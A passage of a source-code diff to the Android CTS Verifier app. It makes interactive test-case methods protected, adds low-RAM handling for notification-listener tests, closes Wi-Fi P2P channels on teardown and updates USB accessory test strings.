@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_update_rule);
}
@Override
- void setUp() {
+ protected void setUp() {
id = mNm.addAutomaticZenRule(createRule("BeforeUpdate", "beforeValue",
NotificationManager.INTERRUPTION_FILTER_ALARMS));
status = READY;
@@ -188,7 +227,7 @@
}
@Override
- void test() {
+ protected void test() {
AutomaticZenRule updated = mNm.getAutomaticZenRule(id);
updated.setName("AfterUpdate");
updated.setConditionId(MockConditionProvider.toConditionId("afterValue"));
@@ -210,7 +249,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
if (id != null) {
mNm.removeAutomaticZenRule(id);
}
@@ -224,12 +263,12 @@
private AutomaticZenRule ruleToCreate;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_subscribe_rule);
}
@Override
- void setUp() {
+ protected void setUp() {
ruleToCreate = createRule("RuleSubscribe", "Subscribevalue",
NotificationManager.INTERRUPTION_FILTER_ALARMS);
id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -238,7 +277,7 @@
}
@Override
- void test() {
+ protected void test() {
MockConditionProvider.probeSubscribe(mContext,
new MockConditionProvider.ParcelableListResultCatcher() {
@@ -265,7 +304,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
if (id != null) {
mNm.removeAutomaticZenRule(id);
}
@@ -280,12 +319,12 @@
private AutomaticZenRule ruleToCreate;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_get_rule);
}
@Override
- void setUp() {
+ protected void setUp() {
ruleToCreate = createRule("RuleGet", "valueGet",
NotificationManager.INTERRUPTION_FILTER_ALARMS);
id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -294,7 +333,7 @@
}
@Override
- void test() {
+ protected void test() {
AutomaticZenRule queriedRule = mNm.getAutomaticZenRule(id);
if (queriedRule != null
&& ruleToCreate.getName().equals(queriedRule.getName())
@@ -310,7 +349,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
if (id != null) {
mNm.removeAutomaticZenRule(id);
}
@@ -325,12 +364,12 @@
private AutomaticZenRule rule2;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_get_rules);
}
@Override
- void setUp() {
+ protected void setUp() {
rule1 = createRule("Rule1", "value1", NotificationManager.INTERRUPTION_FILTER_ALARMS);
rule2 = createRule("Rule2", "value2", NotificationManager.INTERRUPTION_FILTER_NONE);
ids.add(mNm.addAutomaticZenRule(rule1));
@@ -340,7 +379,7 @@
}
@Override
- void test() {
+ protected void test() {
Map<String, AutomaticZenRule> rules = mNm.getAutomaticZenRules();
if (rules == null || rules.size() != 2) {
@@ -362,7 +401,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
for (String id : ids) {
mNm.removeAutomaticZenRule(id);
}
@@ -375,12 +414,12 @@
private String id = null;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_delete_rule);
}
@Override
- void test() {
+ protected void test() {
AutomaticZenRule ruleToCreate = createRule("RuleDelete", "Deletevalue",
NotificationManager.INTERRUPTION_FILTER_ALARMS);
id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -405,7 +444,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
MockConditionProvider.resetData(mContext);
delay();
}
@@ -416,12 +455,12 @@
private AutomaticZenRule ruleToCreate;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_unsubscribe_rule);
}
@Override
- void setUp() {
+ protected void setUp() {
ruleToCreate = createRule("RuleUnsubscribe", "valueUnsubscribe",
NotificationManager.INTERRUPTION_FILTER_PRIORITY);
id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -430,7 +469,7 @@
}
@Override
- void test() {
+ protected void test() {
MockConditionProvider.probeSubscribe(mContext,
new MockConditionProvider.ParcelableListResultCatcher() {
@Override
@@ -484,7 +523,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.removeAutomaticZenRule(id);
MockConditionProvider.resetData(mContext);
// wait for intent to move through the system
@@ -494,7 +533,7 @@
private class IsDisabledTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createSettingsItem(parent, R.string.cp_disable_service);
}
@@ -504,10 +543,8 @@
}
@Override
- void test() {
- String cpPackages = Secure.getString(getContentResolver(),
- Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
- if (cpPackages == null || !cpPackages.contains(CP_PACKAGE)) {
+ protected void test() {
+ if (!mNm.isNotificationPolicyAccessGranted()) {
status = PASS;
} else {
status = WAIT_FOR_USER;
@@ -516,7 +553,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
MockConditionProvider.resetData(mContext);
delay();
}
@@ -524,12 +561,12 @@
private class ServiceStoppedTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_service_stopped);
}
@Override
- void test() {
+ protected void test() {
MockConditionProvider.probeConnected(mContext,
new MockConditionProvider.BooleanResultCatcher() {
@Override
@@ -548,7 +585,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
MockConditionProvider.resetData(mContext);
// wait for intent to move through the system
delay();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 7d5de8c..1433914 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -94,11 +94,12 @@
}
protected abstract class InteractiveTestCase {
- int status;
+ protected boolean mUserVerified;
+ protected int status;
private View view;
protected long delayTime = 3000;
- abstract View inflate(ViewGroup parent);
+ protected abstract View inflate(ViewGroup parent);
View getView(ViewGroup parent) {
if (view == null) {
view = inflate(parent);
@@ -112,13 +113,18 @@
}
/** Set status to {@link #READY} to proceed, or {@link #SETUP} to try again. */
- void setUp() { status = READY; next(); };
+ protected void setUp() { status = READY; next(); };
/** Set status to {@link #PASS} or @{link #FAIL} to proceed, or {@link #READY} to retry. */
- void test() { status = FAIL; next(); };
+ protected void test() { status = FAIL; next(); };
/** Do not modify status. */
- void tearDown() { next(); };
+ protected void tearDown() { next(); };
+
+ protected void setFailed() {
+ status = FAIL;
+ logFail();
+ }
protected void logFail() {
logFail(null);
@@ -135,8 +141,8 @@
}
}
- abstract int getTitleResource();
- abstract int getInstructionsResource();
+ protected abstract int getTitleResource();
+ protected abstract int getInstructionsResource();
protected void onCreate(Bundle savedState) {
super.onCreate(savedState);
@@ -279,12 +285,22 @@
case READY:
case RETEST:
Log.i(TAG, "running test for: " + mCurrentTest.getClass().getSimpleName());
- mCurrentTest.test();
- if (mCurrentTest.status == RETEST_AFTER_LONG_DELAY) {
- delay(mCurrentTest.delayTime);
- } else {
+ try {
+ mCurrentTest.test();
+ if (mCurrentTest.status == RETEST_AFTER_LONG_DELAY) {
+ delay(mCurrentTest.delayTime);
+ } else {
+ delay();
+ }
+ } catch (Throwable t) {
+ mCurrentTest.status = FAIL;
+ markItem(mCurrentTest);
+ Log.e(TAG, "FAIL: " + mCurrentTest.getClass().getSimpleName(), t);
+ mCurrentTest.tearDown();
+ mCurrentTest = null;
delay();
}
+
break;
case FAIL:
@@ -361,6 +377,9 @@
next();
}
}
+ if (mCurrentTest != null) {
+ mCurrentTest.mUserVerified = true;
+ }
}
}
@@ -440,7 +459,7 @@
protected class IsEnabledTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createNlsSettingsItem(parent, R.string.nls_enable_service);
}
@@ -450,7 +469,7 @@
}
@Override
- void test() {
+ protected void test() {
mNm.cancelAll();
Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
if (settings.resolveActivity(mPackageManager) == null) {
@@ -468,7 +487,7 @@
}
}
- void tearDown() {
+ protected void tearDown() {
// wait for the service to start
delay();
}
@@ -476,13 +495,13 @@
protected class ServiceStartedTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_service_started);
}
@Override
- void test() {
- if (MockListener.getInstance() != null) {
+ protected void test() {
+ if (MockListener.getInstance() != null && MockListener.getInstance().isConnected) {
status = PASS;
next();
} else {
@@ -492,4 +511,41 @@
}
}
}
+
+ protected class CannotBeEnabledTest extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createNlsSettingsItem(parent, R.string.nls_cannot_enable_service);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ mNm.cancelAll();
+ Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
+ if (settings.resolveActivity(mPackageManager) == null) {
+ logFail("no settings activity");
+ status = FAIL;
+ } else {
+ String listeners = Secure.getString(getContentResolver(),
+ ENABLED_NOTIFICATION_LISTENERS);
+ if (listeners != null && listeners.contains(LISTENER_PATH)) {
+ status = FAIL;
+ } else {
+ status = PASS;
+ }
+ next();
+ }
+ }
+
+ protected void tearDown() {
+ // wait for the service to start
+ delay();
+ }
+ }
+
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 5a6f91b..7f3bfc7 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -17,12 +17,11 @@
package com.android.cts.verifier.notifications;
import android.annotation.SuppressLint;
-import android.app.Activity;
+import android.app.ActivityManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
+import android.content.Context;
import android.os.Bundle;
import android.provider.Settings.Secure;
import android.service.notification.StatusBarNotification;
@@ -33,6 +32,8 @@
import com.android.cts.verifier.R;
+import com.android.compatibility.common.util.CddTest;
+
import org.json.JSONException;
import org.json.JSONObject;
@@ -46,6 +47,7 @@
import static junit.framework.Assert.assertNotNull;
+@CddTest(requirement="3.8.3.2/C-1-1,C-1-2,C-2-1")
public class NotificationListenerVerifierActivity extends InteractiveVerifierActivity
implements Runnable {
private static final String TAG = "NoListenerVerifier";
@@ -68,12 +70,12 @@
private int mFlag3;
@Override
- int getTitleResource() {
+ protected int getTitleResource() {
return R.string.nls_test;
}
@Override
- int getInstructionsResource() {
+ protected int getInstructionsResource() {
return R.string.nls_info;
}
@@ -82,24 +84,31 @@
@Override
protected List<InteractiveTestCase> createTestItems() {
List<InteractiveTestCase> tests = new ArrayList<>(17);
- tests.add(new IsEnabledTest());
- tests.add(new ServiceStartedTest());
- tests.add(new NotificationReceivedTest());
- tests.add(new DataIntactTest());
- tests.add(new DismissOneTest());
- tests.add(new DismissOneWithReasonTest());
- tests.add(new DismissAllTest());
- tests.add(new SnoozeNotificationForTimeTest());
- tests.add(new SnoozeNotificationForTimeCancelTest());
- tests.add(new GetSnoozedNotificationTest());
- tests.add(new EnableHintsTest());
- tests.add(new RequestUnbindTest());
- tests.add(new RequestBindTest());
- tests.add(new MessageBundleTest());
- tests.add(new EnableHintsTest());
- tests.add(new IsDisabledTest());
- tests.add(new ServiceStoppedTest());
- tests.add(new NotificationNotReceivedTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (am.isLowRamDevice()) {
+ tests.add(new CannotBeEnabledTest());
+ tests.add(new ServiceStoppedTest());
+ tests.add(new NotificationNotReceivedTest());
+ } else {
+ tests.add(new IsEnabledTest());
+ tests.add(new ServiceStartedTest());
+ tests.add(new NotificationReceivedTest());
+ tests.add(new DataIntactTest());
+ tests.add(new DismissOneTest());
+ tests.add(new DismissOneWithReasonTest());
+ tests.add(new DismissAllTest());
+ tests.add(new SnoozeNotificationForTimeTest());
+ tests.add(new SnoozeNotificationForTimeCancelTest());
+ tests.add(new GetSnoozedNotificationTest());
+ tests.add(new EnableHintsTest());
+ tests.add(new RequestUnbindTest());
+ tests.add(new RequestBindTest());
+ tests.add(new MessageBundleTest());
+ tests.add(new EnableHintsTest());
+ tests.add(new IsDisabledTest());
+ tests.add(new ServiceStoppedTest());
+ tests.add(new NotificationNotReceivedTest());
+ }
return tests;
}
@@ -175,27 +184,27 @@
private class NotificationReceivedTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_note_received);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
MockListener.getInstance().resetData();
deleteChannel();
}
@Override
- void test() {
+ protected void test() {
List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
if (result.size() > 0 && result.contains(mTag1)) {
status = PASS;
@@ -208,19 +217,19 @@
private class DataIntactTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_payload_intact);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
Set<String> found = new HashSet<String>();
@@ -277,7 +286,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
MockListener.getInstance().resetData();
deleteChannel();
@@ -286,19 +295,19 @@
private class DismissOneTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_clear_one);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.getInstance().cancelNotification(
MockListener.getInstance().getKeyForTag(mTag1));
@@ -318,7 +327,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -329,19 +338,19 @@
int mRetries = 3;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_clear_one_reason);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.getInstance().cancelNotification(
MockListener.getInstance().getKeyForTag(mTag1));
@@ -379,7 +388,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -388,19 +397,19 @@
private class DismissAllTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_clear_all);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.getInstance().cancelAllNotifications();
status = RETEST;
@@ -419,7 +428,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -428,7 +437,7 @@
private class IsDisabledTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createNlsSettingsItem(parent, R.string.nls_disable_service);
}
@@ -438,7 +447,7 @@
}
@Override
- void test() {
+ protected void test() {
String listeners = Secure.getString(getContentResolver(),
ENABLED_NOTIFICATION_LISTENERS);
if (listeners == null || !listeners.contains(LISTENER_PATH)) {
@@ -449,59 +458,71 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
MockListener.getInstance().resetData();
}
}
private class ServiceStoppedTest extends InteractiveTestCase {
+ int mRetries = 3;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_service_stopped);
}
@Override
- void test() {
- // Ignoring other effect suppressors besides the service under test.
- if (mNm.getEffectsSuppressor() == null || !mNm.getEffectsSuppressor().equals(MockListener.COMPONENT_NAME)) {
+ protected void test() {
+ if (mNm.getEffectsSuppressor() == null && (MockListener.getInstance() == null
+ || !MockListener.getInstance().isConnected)) {
status = PASS;
} else {
- status = FAIL;
+ if (--mRetries > 0) {
+ sleep(100);
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
}
}
}
private class NotificationNotReceivedTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_note_missed);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
}
@Override
- void test() {
- List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
- if (result.size() == 0) {
+ protected void test() {
+ if (MockListener.getInstance() == null) {
status = PASS;
} else {
- logFail();
- status = FAIL;
+ List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
+ if (result.size() == 0) {
+ status = PASS;
+ } else {
+ logFail();
+ status = FAIL;
+ }
}
next();
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
- MockListener.getInstance().resetData();
+ if (MockListener.getInstance() != null) {
+ MockListener.getInstance().resetData();
+ }
}
}
@@ -509,28 +530,25 @@
int mRetries = 5;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_snooze);
}
@Override
- void setUp() {
+ protected void setUp() {
status = READY;
MockListener.getInstance().requestInterruptionFilter(
MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.getInstance().requestUnbind();
status = RETEST;
} else {
- // Ignoring other effect suppressors besides the service under test.
- boolean noSuppressors = mNm.getEffectsSuppressor() == null ||
- !mNm.getEffectsSuppressor().equals(MockListener.COMPONENT_NAME);
- if (noSuppressors && !MockListener.getInstance().isConnected) {
+ if (mNm.getEffectsSuppressor() == null && !MockListener.getInstance().isConnected) {
status = PASS;
} else {
if (--mRetries > 0) {
@@ -549,13 +567,13 @@
int mRetries = 5;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_unsnooze);
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.requestRebind(MockListener.COMPONENT_NAME);
status = RETEST;
@@ -578,20 +596,21 @@
private class EnableHintsTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_hints);
}
@Override
- void test() {
+ protected void test() {
if (status == READY) {
MockListener.getInstance().requestListenerHints(
MockListener.HINT_HOST_DISABLE_CALL_EFFECTS);
status = RETEST;
} else {
int result = MockListener.getInstance().getCurrentListenerHints();
- if ((result & MockListener.HINT_HOST_DISABLE_CALL_EFFECTS) != 0) {
+ if ((result & MockListener.HINT_HOST_DISABLE_CALL_EFFECTS)
+ == MockListener.HINT_HOST_DISABLE_CALL_EFFECTS) {
status = PASS;
next();
} else {
@@ -610,12 +629,12 @@
long snoozeTime = 3000;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_snooze_one_time);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
@@ -624,7 +643,7 @@
}
@Override
- void test() {
+ protected void test() {
status = RETEST;
if (state == READY_TO_SNOOZE) {
MockListener.getInstance().snoozeNotification(
@@ -669,7 +688,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -691,12 +710,12 @@
private String tag;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_snooze_one_time);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
tag = mTag1;
@@ -706,7 +725,7 @@
}
@Override
- void test() {
+ protected void test() {
status = RETEST;
if (state == READY_TO_SNOOZE) {
MockListener.getInstance().snoozeNotification(
@@ -745,7 +764,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -760,12 +779,12 @@
long snoozeTime = 30000;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_get_snoozed);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendNotifications();
status = READY;
@@ -773,7 +792,7 @@
}
@Override
- void test() {
+ protected void test() {
status = RETEST;
if (state == READY_TO_SNOOZE) {
MockListener.getInstance().snoozeNotification(
@@ -829,7 +848,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
MockListener.getInstance().resetData();
@@ -845,19 +864,19 @@
private final CharSequence extrasValue2 = "extras_value_2";
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.msg_extras_preserved);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannel();
sendMessagingNotification();
status = READY;
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannel();
delay();
@@ -907,7 +926,7 @@
}
@Override
- void test() {
+ protected void test() {
List<Notification> result =
new ArrayList<>(MockListener.getInstance().mPostedNotifications);
if (result.size() != 1 || result.get(0) == null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
index 6a97f0c..bce9f44 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
@@ -60,12 +60,12 @@
private final AtomicReference<Intent> mReplyIntent = new AtomicReference<>(null);
@Override
- int getTitleResource() {
+ protected int getTitleResource() {
return R.string.shortcut_reset_test;
}
@Override
- int getInstructionsResource() {
+ protected int getInstructionsResource() {
return R.string.shortcut_reset_info;
}
@@ -108,12 +108,12 @@
/** Make sure the helper package is installed. */
protected class CheckForBot extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.shortcut_reset_bot);
}
@Override
- void test() {
+ protected void test() {
PackageManager pm = mContext.getPackageManager();
try {
pm.getPackageInfo(NOTIFICATION_BOT_PACKAGE, 0);
@@ -131,12 +131,12 @@
*/
protected class SetupNotification extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.shortcut_reset_start);
}
@Override
- void test() {
+ protected void test() {
final Intent intent = new Intent(ACTION_RESET_SETUP_NOTIFICATION);
intent.setPackage(NOTIFICATION_BOT_PACKAGE);
@@ -157,12 +157,12 @@
*/
protected class WaitForTestReply extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.shortcut_reset_prompt_inline_reply);
}
@Override
- void test() {
+ protected void test() {
final Intent replyIntent = mReplyIntent.get();
if (replyIntent == null) {
// Reply not received yet.
@@ -180,12 +180,12 @@
*/
protected class CheckResult extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.shortcut_reset_check_result);
}
@Override
- void test() {
+ protected void test() {
final Intent replyIntent = mReplyIntent.get();
if (replyIntent == null) {
logFail("Internal error, replyIntent shouldn't be null here.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
index 9540463..aa24d55 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
@@ -126,6 +126,15 @@
}
@Override
+ protected void onDestroy() {
+ if (mChannel != null) {
+ mChannel.close();
+ }
+
+ super.onDestroy();
+ }
+
+ @Override
protected void onResume() {
super.onResume();
/*
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
index c3a6b8e..7f608c5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
@@ -152,10 +152,16 @@
* Tear down the test case.
*/
protected void tearDown() {
- mP2pMgr.clearLocalServices(mChannel, null);
- mP2pMgr.clearServiceRequests(mChannel, null);
- mP2pMgr.clearLocalServices(mSubChannel, null);
- mP2pMgr.clearServiceRequests(mSubChannel, null);
+ if (mP2pMgr != null) {
+ mP2pMgr.clearLocalServices(mChannel, null);
+ mP2pMgr.clearServiceRequests(mChannel, null);
+ mP2pMgr.clearLocalServices(mSubChannel, null);
+ mP2pMgr.clearServiceRequests(mSubChannel, null);
+ }
+
+ if (mChannel != null) {
+ mChannel.close();
+ }
}
/**
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
index 52b3dee..4c8204f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
@@ -100,6 +100,7 @@
TestSensorOperation.createOperation(environment, 100 /* event count */);
verifyMeasurements.addVerification(new MeanVerification(
expectations,
+ new float[]{1.95f, 1.95f, 1.95f} /* m / s^2 */,
new float[]{1.95f, 1.95f, 1.95f} /* m / s^2 */));
verifyMeasurements.execute(getCurrentTestNode());
return null;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java
index 8bec078..f1f79cf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java
@@ -26,12 +26,9 @@
import com.android.cts.verifier.R;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Tests for verifying TV app behavior for third-party TV input apps.
*/
-@CddTest(requirement="3.12.1/C-1-1,3.12.1.1/C-1-1,C-1-2,3.12.1.2/C-1-1")
public class TvInputDiscoveryTestActivity extends TvAppVerifierActivity
implements View.OnClickListener {
private static final String TAG = "TvInputDiscoveryTestActivity";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
index 0389584..9f6d72b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -92,13 +92,13 @@
@Override
protected Throwable doInBackground(Void... params) {
try {
+ assertEquals("Android CTS", accessory.getManufacturer());
+ assertEquals("Android CTS test companion device", accessory.getModel());
assertEquals("Android device running CTS verifier", accessory.getDescription());
- assertEquals("Android", accessory.getManufacturer());
- assertEquals("Android device", accessory.getModel());
- assertEquals("0", accessory.getSerial());
+ assertEquals("2", accessory.getVersion());
assertEquals("https://source.android.com/compatibility/cts/verifier.html",
accessory.getUri());
- assertEquals("1", accessory.getVersion());
+ assertEquals("0", accessory.getSerial());
assertTrue(Arrays.asList(usbManager.getAccessoryList()).contains(accessory));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 604169a..9dc690b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -214,12 +214,12 @@
*/
private void makeThisDeviceAnAccessory(@NonNull UsbDeviceConnection connection) {
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MANUFACTURER,
- "Android");
+ "Android CTS");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MODEL,
- "Android device");
+ "Android device under CTS test");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_DESCRIPTION,
"Android device running CTS verifier");
- AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "1");
+ AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "2");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_URI,
"https://source.android.com/compatibility/cts/verifier.html");
